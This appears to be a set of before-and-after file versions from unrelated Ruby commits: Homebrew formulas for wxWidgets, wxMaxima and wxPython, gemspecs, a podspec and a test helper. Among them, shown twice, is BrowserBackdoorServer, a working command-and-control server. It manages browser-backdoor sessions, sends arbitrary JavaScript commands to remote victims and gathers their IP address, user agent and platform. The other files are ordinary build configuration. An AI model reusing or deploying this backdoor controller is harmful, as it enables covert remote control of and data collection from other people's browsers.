<<-EOS.undent Your default python (if any) does not support 32-bit execution, which is required for the wxmac python bindings. You can install the Homebrew python with 32-bit support by running: brew install python --universal --framework EOS exit 99 end end end def install_wx_python opts = [ # Reference our wx-config "WX_CONFIG=#{bin}/wx-config", # At this time Wxmac is installed Unicode only "UNICODE=1", # And thus we have no need for multiversion support "INSTALL_MULTIVERSION=0", # OpenGL and stuff "BUILD_GLCANVAS=1", "BUILD_GIZMOS=1", "BUILD_STC=1" ] cd "wxPython" do if ARGV.build_devel? ENV.append_to_cflags '-arch x86_64' if MacOS.prefer_64_bit? system "python", "setup.py", "build_ext", "WXPORT=osx_cocoa", *opts system "python", "setup.py", "install", "--prefix=#{prefix}", "WXPORT=osx_cocoa", *opts else # for wx 2.8 force 32-bit install with the 10.6 sdk: ENV.append_to_cflags '-arch i386' system "arch", "-i386", "python", "setup.py", "build_ext", *opts system "arch", "-i386", "python", "setup.py", "install", "--prefix=#{prefix}", *opts end end end def install test_python_arch if ARGV.include? "--python" args = [ "--disable-debug", "--prefix=#{prefix}", "--enable-unicode", "--enable-std_string", "--enable-display", "--with-opengl" ] if ARGV.build_devel? args += [ "--with-osx_cocoa", "--with-libjpeg", "--with-libtiff", "--with-libpng", "--with-zlib", "--enable-dnd", "--enable-clipboard", "--enable-webkit", "--enable-svg", "--with-expat" ] end unless ARGV.build_devel? # Force i386 wor wx 2.8 ENV.m32 # build will fail on Lion unless we use the 10.6 sdk (note wx 2.9 does fine) ENV.append_to_cflags '-isysroot /Developer/SDKs/MacOSX10.6.sdk -mmacosx-version-min=10.6' if MacOS.lion? end system "./configure", *args system "make install" unless ARGV.build_devel? # erlang needs contrib/stc during configure phase. %w{ gizmos stc ogl }.each do |c| system "make", "-C", "contrib/src/#{c}", "install" end end if ARGV.include? "--python" ENV['WXWIN'] = Dir.getwd if ARGV.build_devel? # We have already downloaded wxPython in a bundle with wxWidgets install_wx_python else # We need to download wxPython separately (see formula at top) Wxpython.new.brew { install_wx_python } end end end def caveats s = '' unless ARGV.build_devel? s += <<-EOS.undent wxWidgets 2.8.x builds 32-bit only, so you probably won't be able to use it for other Homebrew-installed software. You can try to build with --devel to get the wxWidgets 2.9.x (unstable) for 64-bit and cocoa support. EOS if ARGV.include? '--python' s += <<-EOS.undent You will also need run python in 32-bit mode for wx. If you are on a 64-bit platform, you will need to run Python in 32-bit mode: arch -i386 python [args] Homebrew Python does not support this by default. So, homebrew Python must be built with --universal --framework. Alternative, you can try brew wxmac --python --devel for wx 2.9 in 64-bit. EOS end else s += "wx 2.9.x is the unstable (--devel) release. Some things *may* be broken.\n\n" end if ARGV.include? '--python' s += <<-EOS.undent Python bindings require that Python be built as a Framework; this is the default for Mac OS provided Python but not (yet) for Homebrew Python. Build python with `--framework`. EOS end return s end end wxmac-28: fix class name require 'formula' class Wxpython < Formula # For 2.8, we use this separate formula for wxPython. For 2.9 we use the combined one. url 'http://downloads.sourceforge.net/wxpython/wxPython-src-2.8.12.1.tar.bz2' md5 '8c06c5941477beee213b4f2fa78be620' head 'http://svn.wxwidgets.org/svn/wx/wxPython/trunk/', :using => StrictSubversionDownloadStrategy homepage 'http://www.wxpython.org' end class Wxmac28 < Formula url 'http://downloads.sourceforge.net/project/wxwindows/2.8.12/wxMac-2.8.12.tar.bz2' md5 '876000a9a9742c3c75a2597afbcb8856' devel do # wxPython 2.9 with 64bit and cocoa support ships a (patched) wxmac: url 'http://sourceforge.net/projects/wxpython/files/wxPython/2.9.3.1/wxPython-src-2.9.3.1.tar.bz2' md5 '11f5a423c05c43b4ff8c9f11f1986f04' end homepage 'http://www.wxwidgets.org' def options [ ['--python', 'Build Python bindings'], ['--devel', 'Using unstable 2.9.x series (But 64-bit & cocoa support!)'] ] end def test_python_arch # wxPython 2.8 does not yet support 64bit. But 2.9 with (--devel) does! unless ARGV.build_devel? begin system "arch -i386 python --version" rescue onoe "No python on path or default python does not support 32-bit." puts <<-EOS.undent Your default python (if any) does not support 32-bit execution, which is required for the wxmac python bindings. You can install the Homebrew python with 32-bit support by running: brew install python --universal --framework EOS exit 99 end end end def install_wx_python opts = [ # Reference our wx-config "WX_CONFIG=#{bin}/wx-config", # At this time Wxmac is installed Unicode only "UNICODE=1", # And thus we have no need for multiversion support "INSTALL_MULTIVERSION=0", # OpenGL and stuff "BUILD_GLCANVAS=1", "BUILD_GIZMOS=1", "BUILD_STC=1" ] cd "wxPython" do if ARGV.build_devel? ENV.append_to_cflags '-arch x86_64' if MacOS.prefer_64_bit? system "python", "setup.py", "build_ext", "WXPORT=osx_cocoa", *opts system "python", "setup.py", "install", "--prefix=#{prefix}", "WXPORT=osx_cocoa", *opts else # for wx 2.8 force 32-bit install with the 10.6 sdk: ENV.append_to_cflags '-arch i386' system "arch", "-i386", "python", "setup.py", "build_ext", *opts system "arch", "-i386", "python", "setup.py", "install", "--prefix=#{prefix}", *opts end end end def install test_python_arch if ARGV.include? "--python" args = [ "--disable-debug", "--prefix=#{prefix}", "--enable-unicode", "--enable-std_string", "--enable-display", "--with-opengl" ] if ARGV.build_devel? args += [ "--with-osx_cocoa", "--with-libjpeg", "--with-libtiff", "--with-libpng", "--with-zlib", "--enable-dnd", "--enable-clipboard", "--enable-webkit", "--enable-svg", "--with-expat" ] end unless ARGV.build_devel? # Force i386 wor wx 2.8 ENV.m32 # build will fail on Lion unless we use the 10.6 sdk (note wx 2.9 does fine) ENV.append_to_cflags '-isysroot /Developer/SDKs/MacOSX10.6.sdk -mmacosx-version-min=10.6' if MacOS.lion? end system "./configure", *args system "make install" unless ARGV.build_devel? # erlang needs contrib/stc during configure phase. %w{ gizmos stc ogl }.each do |c| system "make", "-C", "contrib/src/#{c}", "install" end end if ARGV.include? "--python" ENV['WXWIN'] = Dir.getwd if ARGV.build_devel? # We have already downloaded wxPython in a bundle with wxWidgets install_wx_python else # We need to download wxPython separately (see formula at top) Wxpython.new.brew { install_wx_python } end end end def caveats s = '' unless ARGV.build_devel? s += <<-EOS.undent wxWidgets 2.8.x builds 32-bit only, so you probably won't be able to use it for other Homebrew-installed software. You can try to build with --devel to get the wxWidgets 2.9.x (unstable) for 64-bit and cocoa support. EOS if ARGV.include? '--python' s += <<-EOS.undent You will also need run python in 32-bit mode for wx. If you are on a 64-bit platform, you will need to run Python in 32-bit mode: arch -i386 python [args] Homebrew Python does not support this by default. So, homebrew Python must be built with --universal --framework. Alternative, you can try brew wxmac --python --devel for wx 2.9 in 64-bit. EOS end else s += "wx 2.9.x is the unstable (--devel) release. Some things *may* be broken.\n\n" end if ARGV.include? '--python' s += <<-EOS.undent Python bindings require that Python be built as a Framework; this is the default for Mac OS provided Python but not (yet) for Homebrew Python. Build python with `--framework`. EOS end return s end end
class Wxmaxima < Formula desc "Cross platform GUI for Maxima" homepage "https://wxmaxima-developers.github.io/wxmaxima/" url "https://github.com/wxMaxima-developers/wxmaxima/archive/Version-19.07.0.tar.gz" sha256 "16237f22cf76ecb9159e536bbb121e89ac5ad043843a5f32aaac74f0b409c658" head "https://github.com/wxMaxima-developers/wxmaxima.git" bottle do cellar :any sha256 "175947405f4517d9f95ba58de56b3288b0040be440f85696c71fa29f7bee37bd" => :mojave sha256 "eeef1f6c1d67f75c8ad98b9443dc5b343c480bca0a1734a91b14e1aa613f26e2" => :high_sierra sha256 "2f1984b37e3b3c99e1b018014837b292bd3126176fda57cdf84df6ac38ca9afc" => :sierra end depends_on "cmake" => :build depends_on "gettext" => :build depends_on "wxmac" def install # Reduce memory usage below 4 GB for Circle CI. ENV["MAKEFLAGS"] = "-j16" if ENV["CIRCLECI"] system "cmake", ".", *std_cmake_args system "make", "install" prefix.install "wxMaxima.app" if OS.mac? end def caveats; <<~EOS When you start wxMaxima the first time, set the path to Maxima (e.g. #{HOMEBREW_PREFIX}/bin/maxima) in the Preferences. Enable gnuplot functionality by setting the following variables in ~/.maxima/maxima-init.mac: gnuplot_command:"#{HOMEBREW_PREFIX}/bin/gnuplot"$ draw_command:"#{HOMEBREW_PREFIX}/bin/gnuplot"$ EOS end test do # Test is disbaled on Linux as circle has no X (Error: Unable to initialize GTK+, is DISPLAY set properly) assert_match "algebra", shell_output("#{bin}/wxmaxima --help 2>&1", 255) if OS.mac? end end wxmaxima: update 19.07.0 bottle. Closes #14530. Signed-off-by: Issy Long <b1c1d8736f20db3fb6c1c66bb1455ed43909f0d8@issyl0.co.uk> class Wxmaxima < Formula desc "Cross platform GUI for Maxima" homepage "https://wxmaxima-developers.github.io/wxmaxima/" url "https://github.com/wxMaxima-developers/wxmaxima/archive/Version-19.07.0.tar.gz" sha256 "16237f22cf76ecb9159e536bbb121e89ac5ad043843a5f32aaac74f0b409c658" head "https://github.com/wxMaxima-developers/wxmaxima.git" bottle do cellar :any sha256 "175947405f4517d9f95ba58de56b3288b0040be440f85696c71fa29f7bee37bd" => :mojave sha256 "eeef1f6c1d67f75c8ad98b9443dc5b343c480bca0a1734a91b14e1aa613f26e2" => :high_sierra sha256 "2f1984b37e3b3c99e1b018014837b292bd3126176fda57cdf84df6ac38ca9afc" => :sierra sha256 "084c21a8461cba29c0fd9ffa48a1e27f746e0214b173ee2eb89dd924b85cd2ab" => :x86_64_linux end depends_on "cmake" => :build depends_on "gettext" => :build depends_on "wxmac" def install # Reduce memory usage below 4 GB for Circle CI. ENV["MAKEFLAGS"] = "-j16" if ENV["CIRCLECI"] system "cmake", ".", *std_cmake_args system "make", "install" prefix.install "wxMaxima.app" if OS.mac? end def caveats; <<~EOS When you start wxMaxima the first time, set the path to Maxima (e.g. #{HOMEBREW_PREFIX}/bin/maxima) in the Preferences. Enable gnuplot functionality by setting the following variables in ~/.maxima/maxima-init.mac: gnuplot_command:"#{HOMEBREW_PREFIX}/bin/gnuplot"$ draw_command:"#{HOMEBREW_PREFIX}/bin/gnuplot"$ EOS end test do # Test is disbaled on Linux as circle has no X (Error: Unable to initialize GTK+, is DISPLAY set properly) assert_match "algebra", shell_output("#{bin}/wxmaxima --help 2>&1", 255) if OS.mac? end end
require "formula" class FrameworkPython < Requirement fatal true satisfy do q = `python -c "import distutils.sysconfig as c; print(c.get_config_var('PYTHONFRAMEWORK'))"` not q.chomp.empty? end def message "Python needs to be built as a framework." end end class Wxpython < Formula homepage "http://www.wxwidgets.org" url "https://downloads.sourceforge.net/project/wxpython/wxPython/3.0.1.1/wxPython-src-3.0.1.1.tar.bz2" sha1 "d2c4719015d7c499a9765b1e5107fdf37a32abfb" bottle do sha1 "e7fad91e96497ecae7a12f55f092c74e07e41f5b" => :mavericks sha1 "3cbb8428f88ac9363081cb79f18067895fdf35cf" => :mountain_lion sha1 "e6db873562487f0135412f5fff9a367d0a29552b" => :lion end if MacOS.version <= :snow_leopard depends_on :python depends_on FrameworkPython end depends_on "wxmac" def install ENV["WXWIN"] = buildpath args = [ "WXPORT=osx_cocoa", # Reference our wx-config "WX_CONFIG=#{Formula["wxmac"].opt_bin}/wx-config", # At this time Wxmac is installed Unicode only "UNICODE=1", # Some scripts (e.g. matplotlib) expect to `import wxversion`, which is # only available on a multiversion build. "INSTALL_MULTIVERSION=1", # OpenGL and stuff "BUILD_GLCANVAS=1", "BUILD_GIZMOS=1", "BUILD_STC=1" ] cd "wxPython" do ENV.append_to_cflags "-arch #{MacOS.preferred_arch}" system "python", "setup.py", "build_ext", *args system "python", "setup.py", "install", "--prefix=#{prefix}", *args end end end wxpython: patch plot lib to work with newer numpy Closes Homebrew/homebrew#34448. Signed-off-by: Mike McQuaid <a17fed27eaa842282862ff7c1b9c8395a26ac320@mikemcquaid.com> require "formula" class FrameworkPython < Requirement fatal true satisfy do q = `python -c "import distutils.sysconfig as c; print(c.get_config_var('PYTHONFRAMEWORK'))"` not q.chomp.empty? end def message "Python needs to be built as a framework." end end class Wxpython < Formula homepage "http://www.wxwidgets.org" url "https://downloads.sourceforge.net/project/wxpython/wxPython/3.0.1.1/wxPython-src-3.0.1.1.tar.bz2" sha1 "d2c4719015d7c499a9765b1e5107fdf37a32abfb" revision 1 bottle do sha1 "e7fad91e96497ecae7a12f55f092c74e07e41f5b" => :mavericks sha1 "3cbb8428f88ac9363081cb79f18067895fdf35cf" => :mountain_lion sha1 "e6db873562487f0135412f5fff9a367d0a29552b" => :lion end if MacOS.version <= :snow_leopard depends_on :python depends_on FrameworkPython end depends_on "wxmac" stable do # See closed ticket #16590: # Update wxpython lib/plot.py (numpy has removed oldnumeric) # http://trac.wxwidgets.org/ticket/16590 # Applied upstream: http://trac.wxwidgets.org/changeset/77995 # This duplicate gist patch just strips "/trunk" from within target file's path patch :p0 do url "https://gist.githubusercontent.com/dakcarto/f0331c2e4e97a7c4271e/raw/9e65152464c6321bd2c5ff723c21b6cc78958e03/wxpython_77995.diff" sha1 "73b90a983fbb5330abc1b3866817081c8efde479" end end def install ENV["WXWIN"] = buildpath args = [ "WXPORT=osx_cocoa", # Reference our wx-config "WX_CONFIG=#{Formula["wxmac"].opt_bin}/wx-config", # At this time Wxmac is installed Unicode only "UNICODE=1", # Some scripts (e.g. matplotlib) expect to `import wxversion`, which is # only available on a multiversion build. "INSTALL_MULTIVERSION=1", # OpenGL and stuff "BUILD_GLCANVAS=1", "BUILD_GIZMOS=1", "BUILD_STC=1" ] cd "wxPython" do ENV.append_to_cflags "-arch #{MacOS.preferred_arch}" system "python", "setup.py", "build_ext", *args system "python", "setup.py", "install", "--prefix=#{prefix}", *args end end end
# -*- encoding: utf-8 -*- $:.push File.expand_path("../lib/resque/plugins", __FILE__) require "version" Gem::Specification.new do |s| s.name = "resque-waiting-room" s.version = Resque::Plugins::WaitingRoom::VERSION s.authors = ["Julien Blanchard"] s.email = ["julien@sideburns.eu"] s.homepage = "https://www.github.com/julienXX/resque-waiting-room" s.summary = %q{Put your Resque jobs in a waiting room} s.description = %q{Throttle your Resque jobs} s.rubyforge_project = "resque-waiting-room" s.files = `git ls-files`.split("\n") s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) } s.files += Dir.glob("lib/**/*") s.files += Dir.glob("spec/**/*") s.add_development_dependency 'rake' s.add_development_dependency 'resque' end Rubocop pass # -*- encoding: utf-8 -*- $LOAD_PATH.push File.expand_path('../lib/resque/plugins', __FILE__) require 'version' Gem::Specification.new do |s| s.name = 'resque-waiting-room' s.version = Resque::Plugins::WaitingRoom::VERSION s.authors = ['Julien Blanchard'] s.email = ['julien@sideburns.eu'] s.homepage = 'https://www.github.com/julienXX/resque-waiting-room' s.summary = 'Put your Resque jobs in a waiting room' s.description = 'Throttle your Resque jobs' s.rubyforge_project = 'resque-waiting-room' s.files = `git ls-files`.split("\n") s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.executables = `git ls-files -- bin/*`.split("\n").map { |f| File.basename(f) } s.files += Dir.glob('lib/**/*') s.files += Dir.glob('spec/**/*') s.add_development_dependency 'rake' s.add_development_dependency 'resque' end
Pod::Spec.new do |s| s.name = 'GDMobileSDK' s.version = '0.1.5' s.summary = 'GD SDK for iOS developers' s.homepage = 'https://github.com/guodong10518/GDMobileSDK' s.license = 'MIT' s.author = { 'guodong10518' => 'guodong10518@163.com' } s.platform = :ios, '7.0' s.source = { :git => 'https://github.com/guodong10518/GDMobileSDK.git', :tag => s.version } s.requires_arc = true s.resource = 'GDMobileSDK/GDMobileSDKResource.bundle' s.xcconfig = { 'OTHER_LDFLAGS' => '-ObjC' } s.vendored_libraries = 'GDMobileSDK/libGDMobileSDK.a' s.source_files = 'GDMobileSDK/Header/**/*.h' s.public_header_files = 'GDMobileSDK/Header/**/*.h' s.frameworks = 'UIKit', 'Security', 'MapKit', 'CoreLocation', 'AVFoundation', 'QuartzCore', 'JavaScriptCore' s.dependency 'JSONModel', '~> 1.0.2' s.dependency 'SDWebImage', '~> 3.7.1' s.dependency 'MJRefresh' s.dependency 'MBProgressHUD', '~> 0.9.1' s.dependency 'IQKeyboardManager' s.dependency 'NJKWebViewProgress' end 0.1.6 Pod::Spec.new do |s| s.name = 'GDMobileSDK' s.version = '0.1.6' s.summary = 'GD SDK for iOS developers' s.homepage = 'https://github.com/guodong10518/GDMobileSDK' s.license = 'MIT' s.author = { 'guodong10518' => 'guodong10518@163.com' } s.platform = :ios, '7.0' s.source = { :git => 'https://github.com/guodong10518/GDMobileSDK.git', :tag => s.version } s.requires_arc = true s.resource = 'GDMobileSDK/GDMobileSDKResource.bundle' s.xcconfig = { 'OTHER_LDFLAGS' => '-ObjC' } s.vendored_libraries = 'GDMobileSDK/libGDMobileSDK.a' s.source_files = 'GDMobileSDK/Header/**/*.h' s.public_header_files = 'GDMobileSDK/Header/**/*.h' s.frameworks = 'UIKit', 'Security', 'MapKit', 'CoreLocation', 'AVFoundation', 'QuartzCore', 'JavaScriptCore' s.dependency 'JSONModel', '~> 1.0.2' s.dependency 'SDWebImage', '~> 3.7.1' s.dependency 'MJRefresh' s.dependency 'MBProgressHUD', '~> 0.9.1' s.dependency 'IQKeyboardManager' s.dependency 'NJKWebViewProgress' s.deprecated = true end
require 'test/unit' require 'rubygems' require_gem 'activerecord' require File.dirname(__FILE__) + '/../lib/validates_date_time' require File.dirname(__FILE__) + '/person' ActiveRecord::Base.send(:include, ActiveRecord::Validations::DateTime) class Test::Unit::TestCase private def jonathan(attributes = {}) p = Person.new({ :name => 'Jonathan' }.merge(attributes)) assert p.valid? p end end git-svn-id: http://svn.viney.net.nz/things/rails/plugins/validates_date_time@16 20afb1e0-9c0e-0410-9884-91ed27886737 require 'test/unit' require 'rubygems' require_gem 'activerecord' require File.dirname(__FILE__) + '/../lib/validates_date_time' ActiveRecord::Base.send(:include, ActiveRecord::Validations::DateTime) require File.dirname(__FILE__) + '/person' class Test::Unit::TestCase private def jonathan(attributes = {}) p = Person.new({ :name => 'Jonathan' }.merge(attributes)) assert p.valid? p end end
#!/usr/bin/env ruby # BrowserBackdoorServer - https://github.com/IMcPwn/browser-backdoor # BrowserBackdoorServer is a WebSocket server that listens for connections # from BrowserBackdoor and creates an command-line interface for # executing commands on the remote system(s). # For more information visit: http://imcpwn.com # MIT License # Copyright (c) 2016 Carleton Stuberg # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. require 'em-websocket' require 'yaml' # TODO: Make all the variables besides $wsList non global. $wsList = Array.new $selected = -1 def main() begin configfile = YAML.load_file("config.yml") Thread.new{startEM(configfile['host'], configfile['port'], configfile['secure'], configfile['priv_key'], configfile['cert_chain'])} rescue => e puts 'Error loading configuration' puts e.message puts e.backtrace return end cmdLine() end def print_error(message) puts "[X] " + message end def print_notice(message) puts "[*] " + message end COMMANDS = { "help" => "Help menu", "exit" => "Quit the application", "sessions" => "List active sessions", "use" => "Select active session", "info" => "Get session information (IP, User Agent)", "exec" => "Execute a command on a session", "get_cert" => "Get a free TLS certificate from LetsEncrypt", "load" => "Load a module (not implemented" } WELCOME_MESSAGE = ""\ " ____ ____ _ _ \n"\ "| _ \ | _ \ | | | | \n"\ "| |_) |_ __ _____ _____ ___ _ __| |_) | __ _ ___| | ____| | ___ ___ _ __ \n"\ "| _ <| '__/ _ \ \ /\ / / __|/ _ \ '__| _ < / _' |/ __| |/ / _' |/ _ \ / _ \| '__|\n"\ "| |_) | | | (_) \ V V /\__ \ __/ | | |_) | (_| | (__| < (_| | (_) | (_) | | \n"\ "|____/|_| \___/ \_/\_/ |___/\___|_| |____/ \__,_|\___|_|\_\__,_|\___/ \___/|_| by IMcPwn\n"\ "Visit http://imcpwn.com for more information.\n" def cmdLine() puts WELCOME_MESSAGE print "Enter help for help." while true print "\n> " cmdIn = gets.chomp.split() case cmdIn[0] when "help" COMMANDS.each do |key, array| print key print " --> " puts array end when "exit" break when "sessions" if $wsList.length < 1 puts "No sessions" next end puts "ID: Connection" $wsList.each_with_index {|val, index| puts index.to_s + " : " + val.to_s } when "use" if cmdIn.length < 2 print_error("Invalid usage. Try help for help.") next end selectIn = cmdIn[1].to_i if selectIn > $wsList.length - 1 print_error("Session does not exist.") next end $selected = selectIn print_notice("Selected session is now " + $selected.to_s + ".") when "info" if $selected == -1 # || TODO: Check if session no longer exists print_error("No session selected. Try use SESSION_ID first.") next end # TODO: Improve method of getting IP address infoCommands = ["var xhttp = new XMLHttpRequest();xhttp.open(\"GET\", \"https://ipv4.icanhazip.com/\", false);xhttp.send();xhttp.responseText","navigator.appVersion;", "navigator.platform;", "navigator.language;"] infoCommands.each {|cmd| begin sendCommand(cmd, $wsList[$selected]) rescue print_error("Error sending command. Selected session may no longer exist.") end } when "exec" if $selected == -1 # || TODO: Check if session no longer exists print_error("No session selected. Try use SESSION_ID first.") next end if cmdIn.length < 2 while true print "Enter the command to send. (exit when done)\nCMD-#{$selected}> " cmdSend = gets.split.join(' ') break if cmdSend == "exit" next if cmdSend == "" begin sendCommand(cmdSend, $wsList[$selected]) rescue print_error("Error sending command. Selected session may no longer exist.") end end else # TODO: Support space begin sendCommand(cmdIn[1], $wsList[$selected]) rescue print_error("Error sending command. Selected session may no longer exist.") end end when "get_cert" if File.file?("getCert.sh") system("./getCert.sh") else print_error("getCert.sh does not exist") end else print_error("Invalid command. Try help for help.") end end end def sendCommand(cmd, ws) ws.send(cmd) end def startEM(host, port, secure, priv_key, cert_chain) EM.run { EM::WebSocket.run({ :host => host, :port => port, :secure => secure, :tls_options => { :private_key_file => priv_key, :cert_chain_file => cert_chain } }) do |ws| $wsList.push(ws) ws.onopen { |handshake| print_notice("WebSocket connection open: " + handshake.to_s) } ws.onclose { print_error("Connection closed") $wsList.delete(ws) } ws.onmessage { |msg| print_notice("Response received: " + msg) } ws.onerror { |e| print_error(e.message) $wsList.delete(ws) } end } end main() Remove literal true as condition #!/usr/bin/env ruby # BrowserBackdoorServer - https://github.com/IMcPwn/browser-backdoor # BrowserBackdoorServer is a WebSocket server that listens for connections # from BrowserBackdoor and creates an command-line interface for # executing commands on the remote system(s). # For more information visit: http://imcpwn.com # MIT License # Copyright (c) 2016 Carleton Stuberg # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. require 'em-websocket' require 'yaml' # TODO: Make all the variables besides $wsList non global. $wsList = Array.new $selected = -1 def main() begin configfile = YAML.load_file("config.yml") Thread.new{startEM(configfile['host'], configfile['port'], configfile['secure'], configfile['priv_key'], configfile['cert_chain'])} rescue => e puts 'Error loading configuration' puts e.message puts e.backtrace return end cmdLine() end def print_error(message) puts "[X] " + message end def print_notice(message) puts "[*] " + message end COMMANDS = { "help" => "Help menu", "exit" => "Quit the application", "sessions" => "List active sessions", "use" => "Select active session", "info" => "Get session information (IP, User Agent)", "exec" => "Execute a command on a session", "get_cert" => "Get a free TLS certificate from LetsEncrypt", "load" => "Load a module (not implemented" } WELCOME_MESSAGE = ""\ " ____ ____ _ _ \n"\ "| _ \ | _ \ | | | | \n"\ "| |_) |_ __ _____ _____ ___ _ __| |_) | __ _ ___| | ____| | ___ ___ _ __ \n"\ "| _ <| '__/ _ \ \ /\ / / __|/ _ \ '__| _ < / _' |/ __| |/ / _' |/ _ \ / _ \| '__|\n"\ "| |_) | | | (_) \ V V /\__ \ __/ | | |_) | (_| | (__| < (_| | (_) | (_) | | \n"\ "|____/|_| \___/ \_/\_/ |___/\___|_| |____/ \__,_|\___|_|\_\__,_|\___/ \___/|_| by IMcPwn\n"\ "Visit http://imcpwn.com for more information.\n" def cmdLine() puts WELCOME_MESSAGE print "Enter help for help." loop do print "\n> " cmdIn = gets.chomp.split() case cmdIn[0] when "help" COMMANDS.each do |key, array| print key print " --> " puts array end when "exit" break when "sessions" if $wsList.length < 1 puts "No sessions" next end puts "ID: Connection" $wsList.each_with_index {|val, index| puts index.to_s + " : " + val.to_s } when "use" if cmdIn.length < 2 print_error("Invalid usage. Try help for help.") next end selectIn = cmdIn[1].to_i if selectIn > $wsList.length - 1 print_error("Session does not exist.") next end $selected = selectIn print_notice("Selected session is now " + $selected.to_s + ".") when "info" if $selected == -1 # || TODO: Check if session no longer exists print_error("No session selected. Try use SESSION_ID first.") next end # TODO: Improve method of getting IP address infoCommands = ["var xhttp = new XMLHttpRequest();xhttp.open(\"GET\", \"https://ipv4.icanhazip.com/\", false);xhttp.send();xhttp.responseText","navigator.appVersion;", "navigator.platform;", "navigator.language;"] infoCommands.each {|cmd| begin sendCommand(cmd, $wsList[$selected]) rescue print_error("Error sending command. Selected session may no longer exist.") end } when "exec" if $selected == -1 # || TODO: Check if session no longer exists print_error("No session selected. Try use SESSION_ID first.") next end if cmdIn.length < 2 loop do print "Enter the command to send. (exit when done)\nCMD-#{$selected}> " cmdSend = gets.split.join(' ') break if cmdSend == "exit" next if cmdSend == "" begin sendCommand(cmdSend, $wsList[$selected]) rescue print_error("Error sending command. Selected session may no longer exist.") end end else # TODO: Support space begin sendCommand(cmdIn[1], $wsList[$selected]) rescue print_error("Error sending command. Selected session may no longer exist.") end end when "get_cert" if File.file?("getCert.sh") system("./getCert.sh") else print_error("getCert.sh does not exist") end else print_error("Invalid command. Try help for help.") end end end def sendCommand(cmd, ws) ws.send(cmd) end def startEM(host, port, secure, priv_key, cert_chain) EM.run { EM::WebSocket.run({ :host => host, :port => port, :secure => secure, :tls_options => { :private_key_file => priv_key, :cert_chain_file => cert_chain } }) do |ws| $wsList.push(ws) ws.onopen { |handshake| print_notice("WebSocket connection open: " + handshake.to_s) } ws.onclose { print_error("Connection closed") $wsList.delete(ws) } ws.onmessage { |msg| print_notice("Response received: " + msg) } ws.onerror { |e| print_error(e.message) $wsList.delete(ws) } end } end main()
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'retailigence/version' Gem::Specification.new do |spec| spec.name = "retailigence_ruby" spec.version = RetailigenceRuby::VERSION spec.authors = ["Drew Tempelmeyer"] spec.email = ["drewtemp@gmail.com"] spec.summary = %q{TODO: Write a short summary. Required.} spec.description = %q{TODO: Write a longer description. Optional.} spec.homepage = "" spec.license = "MIT" spec.files = `git ls-files`.split($/) spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ["lib"] spec.add_development_dependency 'bundler', '~> 1.5' spec.add_development_dependency 'rake' spec.add_development_dependency 'rubocop' spec.add_development_dependency 'vcr', '>= 2.6.0' spec.add_development_dependency 'pry' spec.add_dependency 'typhoeus', '<= 0.7.0' end Update gemspec # coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'retailigence/version' Gem::Specification.new do |spec| spec.name = "retailigence_ruby" spec.version = RetailigenceRuby::VERSION spec.authors = ["Drew Tempelmeyer"] spec.email = ["drewtemp@gmail.com"] spec.summary = %q{Ruby library for interactiing with Retailigence.} spec.homepage = "https://github.com/drewtempelmeyer/retailigence-ruby" spec.license = "MIT" spec.files = `git ls-files`.split($/) spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ["lib"] spec.add_development_dependency 'bundler', '~> 1.5' spec.add_development_dependency 'rake' spec.add_development_dependency 'rubocop' spec.add_development_dependency 'vcr', '>= 2.6.0' spec.add_development_dependency 'pry' spec.add_dependency 'typhoeus', '<= 0.7.0' end
